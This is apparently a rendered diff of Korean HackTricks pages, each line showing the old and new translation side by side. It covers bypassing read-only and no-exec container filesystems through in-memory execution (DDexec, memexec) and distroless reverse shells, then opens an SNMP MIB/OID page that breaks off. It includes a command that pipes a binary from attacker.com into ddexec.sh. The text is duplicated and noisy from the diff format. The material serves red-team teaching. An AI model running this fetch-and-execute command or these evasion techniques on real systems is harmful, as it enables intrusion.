**해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - 우리는 채용 중입니다!** (_구사 및 구어가 능숙한 폴란드어 필요_). **해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - 우리는 채용 중입니다!** (_유창한 폴란드어 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹을 배우세요!</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요. * 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요**. * **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요</strong></a><strong>!</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**팔로우**하세요. * 💬 **Discord 그룹**에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 **PR을 제출**하여 해킹 트릭을 공유하세요. * 여러분의 해킹 기술을 공유하려면 **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하세요.
</details> </details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있다면, 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_). **해킹 경력**에 관심이 있 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -29,7 +29,7 @@ HackTricks를 지원하는 다른 방법:
## 읽기 전용 / 실행 불가 시나리오 ## 읽기 전용 / 실행 불가 시나리오
특히 컨테이너에서 **읽기 전용 (ro) 파일 시스템 보호**로 마운트된 리눅스 머신을 더 많이 찾을 수 있습니다. 이는 `securitycontext`에서 **`readOnlyRootFilesystem: true`**를 설정하는 것만으로 쉽게 ro 파일 시스템을 사용하여 컨테이너를 실행할 수 있기 때문입니다: 특히 컨테이너에서 **읽기 전용 (ro) 파일 시스템 보호**로 마운트된 리눅스 머신을 더 많이 찾을 수 있습니다. 이는 `securitycontext`에서 **`readOnlyRootFilesystem: true`**를 설정하는 것만큼 쉽기 때문입니다:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1 <pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod kind: Pod
@ -44,41 +44,40 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"] </strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre> </code></pre>
그러나 파일 시스템이 ro로 마운트되어 있더라도 **`/dev/shm`**은 여전히 쓰기 가능하므로 디스크에 아무것도 쓸 수 없는 것은 가짜입니다. 그러나 이 폴더는 **실행 불가 보호**로 마운트되므로 여기에 바이너리를 다운로드하면 **실행할 수 없습니다**. 그러나 파일 시스템이 ro로 마운트되어 있더라도 **`/dev/shm`**은 여전히 쓰기 가능하므로 디스크에 아무것도 쓸 수 없는 것은 가짜입니다. 그러나 이 폴더는 **실행 불가 보호로 마운트**되므로 여기에 바이너리를 다운로드하면 **실행할 수 없습니다**.
{% hint style="warning" %} {% hint style="warning" %}
적색 팀 관점에서, 이는 시스템에 이미 없는 바이너리(백도어 또는 `kubectl`과 같은 열거자)를 **다운로드하고 실행하는 것을 복잡하게 만듭니다**. 적색 팀 관점에서는 시스템에 이미 없는 바이너리(백도어 또는 `kubectl`과 같은 열거자)를 **다운로드하고 실행하는 것이 복잡**해집니다.
{% endhint %} {% endhint %}
## 가장 쉬운 우회: 스크립트 ## 가장 쉬운 우회: 스크립트
바이너리를 언급했지만, 머신 내에 해석기가 있으면 `sh`가 설치되어 있다면 **쉘 스크립트** 또는 `python`이 설치되어 있다면 **파이썬 스크립트**와 같이 해석기가 내부에 있는 한 **스크립트를 실행**할 수 있습니다. 바이너리를 언급했지만, **해석기가 머신 내부에 있으면** **쉘 스크립트**(`sh`가 설치되어 있으면)나 **파이썬 스크립트**와 같이 **스크립트를 실행**할 수 있습니다.
그러나 이것만으로는 바이너리 백도어 또는 실행해야 할 다른 바이너리 도구를 실행할 수 없을 수 있습니다. 그러나 이것만으로는 바이너리 백도어 실행해야 할 다른 바이너리 도구를 실행할 수 없을 수 있습니다.
## 메모리 우회 ## 메모리 우회
파일 시스템이 실행을 허용하지 않더라도 바이너리를 실행하려면 **메모리에서 실행**하는 것이 가장 좋습니다. 왜냐하면 **보호가 적용되지 않기 때문**입니다. 파일 시스템이 실행을 허용하지 않더라도 바이너리를 실행하려면 **메모리에서 실행**하는 것이 가장 좋습니다. **보호 기능이 적용되지 않기 때문**입니다.
### FD + exec 시스템 호출 우회 ### FD + exec 시스템 호출 우회
**Python**, **Perl**, 또는 **Ruby**와 같은 강력한 스크립트 엔진이 머신 내에 있는 경우, 메모리에서 실행할 바이너리를 다운로드하고, 이를 메모리 파일 디스크립터에 저장한 다음(**`create_memfd` 시스템 호출**), 이러한 보호에 의해 보호되지 않을 것이므로 **`exec` 시스템 호출**을 호출하여 **fd를 실행할 파일로 지정**할 수 있습니다. **Python**, **Perl**, 또는 **Ruby**와 같은 강력한 스크립트 엔진이 머신 내에 있는 경우, 메모리에서 실행할 바이너리를 다운로드하고, 이를 메모리 파일 디스크립터(`create_memfd` 시스템 호출)에 저장한 후 **`exec` 시스템 호출**을 호출하여 **fd를 실행할 파일로 지정**할 수 있습니다.
이를 위해 [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) 프로젝트를 쉽게 사용할 수 있습니다. 바이너리를 전달하면 해당 바이너리를 **디코딩 및 압축 해제하는 지침과 함께** **지정된 언어의 스크립트를 생성**하여 `create_memfd` 시스템 호출을 통해 만든 **fd**에 바이너리를 저장하고 실행하기 위한 **exec** 시스템 호출을 호출합니다. 이를 위해 [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) 프로젝트를 쉽게 사용할 수 있습니다. 이 프로젝트에 바이너리를 전달하면 **바이너리를 디코딩하고 압축 해제하는** 지침과 함께 **바이너리를 압축하고 b64로 인코딩**한 스크립트가 생성됩니다. 이 스크립트는 `create_memfd` 시스템 호출을 통해 만들어진 **fd**에 바이너리를 저장하고 실행하기 위해 **exec** 시스템 호출을 호출합니다.
{% hint style="warning" %} {% hint style="warning" %}
PHP 또는 Node와 같은 다른 스크립팅 언어에서는 스크립트에서 **원시 시스템 호출을 호출하는 기본 방법**이 없기 때문에 `create_memfd`를 호출하여 **메모리 fd**를 만들어 바이너리를 저장할 수 없습니다. PHP 또는 Node와 같은 다른 스크립팅 언어에서는 **스크립트에서 원시 시스템 호출을 호출하는 기본 방법**이 없기 때문에 `create_memfd`를 호출하여 **메모리 fd**를 만들 수 없으므로 이 방법은 작동하지 않습니다.
또한 `/dev/shm`에 파일이 있는 **일반 fd**를 만들어도 **실행할 수 없습니다**. 왜냐하면 **실행 불가 보호**가 적용되기 때문입니다. 또한 `/dev/shm`에 파일이 있는 **일반 fd**를 만들어도 **실행할 수 없습니다**. 왜냐하면 **실행 불가 보호**가 적용되기 때문입니다.
{% endhint %} {% endhint %}
### DDexec / EverythingExec ### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)는 **`/proc/self/mem`**을 덮어쓰는 방식으로 **자체 프로세스의 메모리를 수정**하여 **메모리에서 실행**할 수 있는 기술입니다. [**DDexec / EverythingExec**](https://github.com/arget13/DDexec)는 **자신의 프로세스 메모리를 수정**하여 **`/proc/self/mem`**을 덮어쓰는 기술로, **프로세스가 실행하는 어셈블리 코드를 제어**하여 **쉘코드**를 작성하고 프로세스를 **임의의 코드를 실행하도록 변형**할 수 있습니다.
따라서 프로세스에서 실행되는 어셈블리 코드를 제어하여 **쉘코드**를 작성하고 프로세스를 **임의의 코드를 실행**할 수 있도록 "변이"시킬 수 있습니다.
{% hint style="success" %} {% hint style="success" %}
**DDexec / EverythingExec**를 사용하면 **메모리**에서 자체 **쉘코드** 또는 **임의의 바이너리**를 **로드하고 실행**할 수 있습니다. **DDexec / EverythingExec**을 사용하면 **자신의 쉘코드** 또는 **메모리**에서 **임의의 바이너리**를 **로드하고 실행**할 수 있습니다.
{% endhint %} {% endhint %}
```bash ```bash
# Basic example # Basic example
@ -86,60 +85,60 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
``` ```
### MemExec ### MemExec
[**Memexec**](https://github.com/arget13/memexec) DDexec의 자연스러운 다음 단계입니다. 이것은 **DDexec 셸코드를 데몬화**한 것으로, **다른 이진 파일을 실행하려고 할 때마다 DDexec를 다시 시작할 필요가 없습니다. 대신 DDexec 기술을 통해 memexec 셸코드를 실행하고 이 데몬과 통신하여 새로운 이진 파일을로드하고 실행할 수 있습니다.** [**Memexec**](https://github.com/arget13/memexec) DDexec의 자연스러운 다음 단계입니다. **DDexec 셸코드를 데몬화**한 것으로, **다른 이진 파일을 실행**하려면 DDexec을 다시 시작할 필요가 없습니다. 대신 DDexec 기술을 통해 memexec 셸코드를 실행한 다음 **이 데몬과 통신하여 새로운 이진 파일을 전달하고 실행**할 수 있습니다.
**memexec를 사용하여 PHP 역술을 통해 바이너리를 실행하는 예제**를 [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)에서 찾을 수 있습니다. **memexec를 사용하여 PHP 역쉘에서 이진 파일을 실행하는 예제**는 [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)에서 찾을 수 있습니다.
### Memdlopen ### Memdlopen
DDexec 유사한 목적을 가진 [**memdlopen**](https://github.com/arget13/memdlopen) 기술은 **메모리에 바이너리를로드하여 나중에 실행하는 더 쉬운 방법**을 제공합니다. 이를 통해 종속성이 있는 바이너리를로드할 수도 있습니다. DDexec 유사한 목적을 가진 [**memdlopen**](https://github.com/arget13/memdlopen) 기술은 **메모리에 이진 파일을 로드하여 나중에 실행하는 더 쉬운 방법**을 제공합니다. 이를 통해 종속성이 있는 이진 파일을 로드할 수도 있습니다.
## Distroless Bypass ## Distroless Bypass
### Distroless란 ### Distroless란
Distroless 컨테이너에는 **특정 응용 프로그램이나 서비스를 실행하는 데 필요한 최소한의 구성 요소만 포함**되어 있습니다. 라이브러리 및 런타임 종속성과 같은 것들이 포함되지만 패키지 관리자, 셸 또는 시스템 유틸리티와 같은 큰 구성 요소는 제외됩니다. Distroless 컨테이너에는 특정 응용 프로그램이나 서비스를 실행하는 데 필요한 **최소한의 구성 요소만 포함**되어 있습니다. 이는 라이브러리 및 런타임 종속성과 같은 것들을 포함하지만 패키지 관리자, 셸 또는 시스템 유틸리티와 같은 큰 구성 요소는 제외됩니다.
Distroless 컨테이너의 목표는 **불필요한 구성 요소를 제거**함으로써 컨테이너의 **공격 표면을 줄이고 악용될 수 있는 취약점의 수를 최소화**하는 것입니다. Distroless 컨테이너의 목표는 **불필요한 구성 요소를 제거**함으로써 컨테이너의 공격 표면을 **줄이고 악용될 수 있는 취약점의 수를 최소화**하는 것입니다.
### 역 ### 역
Distroless 컨테이너에서는 보통 `sh` 또는 `bash`와 같은 **일반 쉘을 얻을 수 없을 수도** 있습니다. 또한 `ls`, `whoami`, `id`와 같은 바이너리도 찾을 수 없을 것입니다. 이는 일반적으로 시스템에서 실행하는 모든 것들입니다. Distroless 컨테이너에서는 일반 쉘을 얻기 위해 `sh` 또는 `bash`**찾을 수 없을 수도** 있습니다. 또한 시스템에서 일반적으로 실행하는 `ls`, `whoami`, `id`와 같은 이진 파일도 찾을 수 없습니다.
{% hint style="warning" %} {% hint style="warning" %}
따라서, 보통 하는 것처럼 **역술을 얻거나 시스템을 열거할 수 없을 것**입니다. 따라서 보통 시스템에서 하는 것처럼 **역쉘을 얻거나** 시스템을 **열거**할 수 없을 것입니다.
{% endhint %} {% endhint %}
그러나, 감염된 컨테이너가 예를 들어 플라스크 웹을 실행 중이라면 파이썬이 설치되어 있으므로 **Python 역술**을 얻을 수 있습니다. Node를 실행 중이라면 Node 역술을 얻을 수 있으며 대부분의 **스크립팅 언어**도 마찬가지입니다. 그러나 kompromize된 컨테이너가 예를 들어 플라스크 웹을 실행 중이라면 파이썬이 설치되어 있으므로 **Python 역쉘**을 얻을 수 있습니다. Node를 실행 중이라면 Node 역쉘을 얻을 수 있으며 대부분의 **스크립팅 언어**도 마찬가지입니다.
{% hint style="success" %} {% hint style="success" %}
스크립팅 언어를 사용하여 **언어 기능을 사용하여 시스템을 열거**할 수 있습니다. 스크립팅 언어를 사용하여 언어 기능을 활용하여 시스템을 **열거**할 수 있습니다.
{% endhint %} {% endhint %}
**`read-only/no-exec`** 보호 기능이 없는 경우, 역술을 악용하여 **파일 시스템에 바이너리를 작성**하고 **실행**할 수 있습니다. **`read-only/no-exec`** 보호 기능이 없는 경우, 역쉘을 악용하여 파일 시스템에 **자신의 이진 파일을 작성**하고 **실행**할 수 있습니다.
{% hint style="success" %} {% hint style="success" %}
그러나 이러한 종류의 컨테이너에서는 일반적으로 이러한 보호 기능이 존재하지만, **이를 우회하기 위해 이전 메모리 실행 기술을 사용**할 수 있습니다. 그러나 이러한 종류의 컨테이너에서는 일반적으로 이러한 보호 기능이 존재하지만, **이전 메모리 실행 기술을 사용하여 이를 우회**할 수 있습니다.
{% endhint %} {% endhint %}
**RCE 취약점을 악용하여 스크립팅 언어 역술을 얻고 메모리에서 바이너리를 실행하는 방법**에 대한 **예제**를 [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)에서 찾을 수 있습니다. **RCE 취약점을 악용하여 스크립팅 언어 역쉘을 얻고 메모리에서 이진 파일을 실행하는 방법**에 대한 **예제**는 [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)에서 찾을 수 있습니다.
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있다면 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_). **해킹 경력**에 관심이 있다면, 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary> <summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 **제로**에서 **히어로**까지 AWS 해킹 배우기</strong></summary>
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사를 HackTricks에 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. * 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. * **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>

View file

@ -9,12 +9,12 @@ HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. * **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**SNMP - Simple Network Management Protocol**은 네트워크의 다양한 장치(라우터, 스위치, 프린터, IoT 등)를 모니터링하는 데 사용되는 프로토콜입니다. **SNMP - Simple Network Management Protocol**은 네트워크의 다양한 장치(라우터, 스위치, 프린터, IoT 등)를 모니터링하는 데 사용되는 프로토콜입니다.
``` ```
@ -22,26 +22,26 @@ PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
``` ```
{% hint style="info" %} {% hint style="info" %}
SNMP은 **트랩**을 위해 **162/UDP** 포트도 사용합니다. 이들은 **명시적으로 요청하지 않은 상태에서 SNMP 서버에서 클라이언트로 보내는 데이터 패킷**입니다. SNMP은 **트랩**을 위해 **162/UDP** 포트도 사용합니다. 이들은 **명시적으로 요청되지 않은 SNMP 서버에서 클라이언트로 전송되는 데이터 패킷**입니다.
{% endhint %} {% endhint %}
### MIB ### MIB
SNMP 액세스가 다양한 제조업체 및 다른 클라이언트-서버 조합에서 작동하도록 보장하기 위해 **관리 정보베이스(MIB)**가 만들어졌습니다. MIB는 **장치 정보를 저장하는 독립형 형식**입니다. MIB는 장치의 모든 쿼리 가능한 **SNMP 객체**가 **표준화된** 트리 계층 구조에 나열된 **텍스트** 파일입니다. 적어도 하나의 `객체 식별자(OID)`를 포함하며, **고유 주소 및 이름**뿐만 아니라 해당 객체의 유형, 액세스 권한 및 설명에 대한 정보도 제공합니다.\ 다양한 제조업체 및 다른 클라이언트-서버 조합에서 SNMP 액세스가 작동하도록 보장하기 위해 **Management Information Base (MIB)**가 만들어졌습니다. MIB는 **장치 정보를 저장하는 독립형 형식**입니다. MIB는 장치의 모든 쿼리 가능한 **SNMP 객체**가 **표준화된** 트리 계층 구조에 나열된 **텍스트** 파일입니다. 적어도 하나의 `Object Identifier` (`OID`)를 포함하며, **고유 주소 및 이름** 외에도 해당 객체의 유형, 액세스 권한 및 설명에 대한 정보를 제공합니다.\
MIB 파일은 `Abstract Syntax Notation One(ASN.1)` 기반 ASCII 텍스트 형식으로 작성됩니다. **MIB에는 데이터가 포함되어 있지 않지만**, **어디에서 어떤 정보를 찾을 수 있는지** 및 어떤 모습인지 설명하며, 특정 OID에 대한 반환 값을 또는 사용된 데이터 유형을 제공합니다. MIB 파일은 `Abstract Syntax Notation One` (`ASN.1`) 기반 ASCII 텍스트 형식으로 작성됩니다. **MIB에는 데이터가 포함되어 있지 않지만**, **어디에서 어떤 정보를 찾을 수 있는지** 및 어떻게 보이는지를 설명하며, 특정 OID에 대한 반환 값이나 사용된 데이터 유형에 대한 정보를 제공합니다.
### OIDs ### OIDs
**객체 식별자(OID)**는 중요한 역할을 합니다. 이러한 고유 식별자는 **관리 정보베이스(MIB)** 내의 객체를 관리하기 위해 설계되었습니다. **객체 식별자 (OIDs)**는 중요한 역할을 합니다. 이러한 고유 식별자는 **Management Information Base (MIB)** 내의 객체를 관리하기 위해 설계되었습니다.
MIB 객체 ID 또는 OID의 최상위 수준은 다양한 표준 설정 조직에 할당됩니다. 이러한 최상위 수준에서는 전역 관리 관행 및 표준의 프레임워크가 설정됩니다. MIB 객체 ID 또는 OID의 최상위 수준은 다양한 표준 설정 조직에 할당됩니다. 이러한 최상위 수준에서는 전역 관리 관행 및 표준을 설정하는 프레임워크가 수립됩니다.
또한, 공급업체는 개인 브랜치를 설정할 권한을 부여받습니다. 이러한 브랜치 내에서는 **제품 라인에 관련된 관리 대상 객체를 포함할 권한**이 있습니다. 이 시스템은 다른 공급업체 및 표준 간에 다양한 객체를 식별하고 관리하기 위한 체계적이고 조직적인 방법이 있음을 보장합니다. 또한, 공급업체는 개인 브랜치를 설정할 권한을 부여받습니다. 이러한 브랜치 내에서는 **제품 라인에 관련된 관리 대상 객체를 포함할 권한**이 있습니다. 이 시스템은 다른 공급업체 및 표준 간에 다양한 객체를 식별하고 관리하기 위한 체계적이고 조직적인 방법을 보장합니다.
![](<../../.gitbook/assets/SNMP_OID_MIB_Tree (1).png>) ![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
웹에서 **OID 트리**를 **탐색**할 수 있습니다: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 또는 `1.3.6.1.2.1.1`과 같은 OID가 무엇을 의미하는지 확인할 수 있습니다: [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ 웹에서 **OID 트리**를 **탐색**할 수 있습니다: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 또는 `1.3.6.1.2.1.1`과 같은 OID가 무엇을 의미하는지 확인할 수 있습니다: [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 내부에 있는 것과 같은 **잘 알려진 OIDs**가 있습니다. 이는 MIB-2에서 정의된 간단한 네트워크 관리 프로토콜(SNMP) 변수를 참조합니다. 그리고 이것으로부터 **팬딩된 OID**를 통해 일부 흥미로운 호스트 데이터(시스템 데이터, 네트워크 데이터, 프로세스 데이터 등)를 얻을 수 있습니다. [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 내부에 있는 **잘 알려진 OIDs**가 있습니다. 이는 MIB-2에서 정의된 간단한 네트워크 관리 프로토콜 (SNMP) 변수를 참조합니다. 그리고 이를 **기반으로 하는 OID들**에서는 일부 흥미로운 호스트 데이터 (시스템 데이터, 네트워크 데이터, 프로세스 데이터 등)를 얻을 수 있습니다.
### **OID 예시** ### **OID 예시**
@ -49,22 +49,22 @@ MIB 객체 ID 또는 OID의 최상위 수준은 다양한 표준 설정 조직
**`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`** **`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`**
이 주소의 분해니다. 이 주소의 분해 방법은 다음과 같습니다.
* 1 ISO로 불리며 OID임을 나타냅니다. 이것이 모든 OID가 "1"로 시작하는 이유입니다. * 1 ISO로 불리며 OID임을 나타냅니다. 이것이 모든 OID가 "1"로 시작하는 이유입니다.
* 3 ORG로 불리며 장치를 구축한 조직을 지정하는 데 사용됩니다. * 3 ORG로 불리며 장치를 구축한 조직을 지정하는 데 사용됩니다.
* 6 dod 또는 Department of Defense로 불리며 인터넷을 처음으로 설립한 조직입니다. * 6 dod 또는 Department of Defense로 불리며 인터넷을 최초로 설립한 조직입니다.
* 1 인터넷의 값을 나타내어 모든 통신이 인터넷을 통해 이루어질 것임을 나타냅니다. * 1 인터넷의 값을 나타내어 모든 통신이 인터넷을 통해 이루어을 나타냅니다.
* 4 이 값은 이 장치가 정부 기관이 아닌 사설 기관에서 제작되었음을 결정합니다. * 4 이 값은 이 장치가 정부가 아닌 사설 조직에서 제작되었음을 나타냅니다.
* 1 이 값은 장치가 기업 또는 비즈니스 엔티티에서 제작되었음을 나타냅니다. * 1 이 값은 장치가 기업 또는 비즈니스 엔티티에서 제작되었음을 나타냅니다.
이 처음 6개 값은 모든 장치에 대해 동일하며 기본 정보를 제공합니다. 이 숫자 시퀀스는 모든 OID에 대해 동일할 것이며, 장치가 정부 기관에서 제작된 경우를 제외하고는 동일할 것입니다. 이 처음 6개 값은 모든 장치에 대해 동일하며 기본 정보를 제공합니다. 이 숫자 시퀀스는 모든 OID에 대해 동일할 것이며, 장치가 정부에서 제작된 경우를 제외하고는 동일할 것입니다.
다음 번호 세트로 이동합니다. 다음 번호 세트로 이동합니다.
* 1452 이 장치를 제조한 조직의 이름을 제공합니다. * 1452 이 장치를 제조한 조직의 이름을 제공합니다.
* 1 장치 유형을 설명합니다. 이 경우 알람 시계입니다. * 1 장치 유형을 설명합니다. 이 경우 알람 시계입니다.
* 2 이 장치가 원격 단말 장치임을 결정합니다. * 2 이 장치가 원격 단말 장치임을 나타냅니다.
나머지 값은 장치에 대한 구체적인 정보를 제공합니다. 나머지 값은 장치에 대한 구체적인 정보를 제공합니다.
@ -85,14 +85,14 @@ SNMP에는 2가지 중요한 버전이 있습니다:
### 커뮤니티 문자열 ### 커뮤니티 문자열
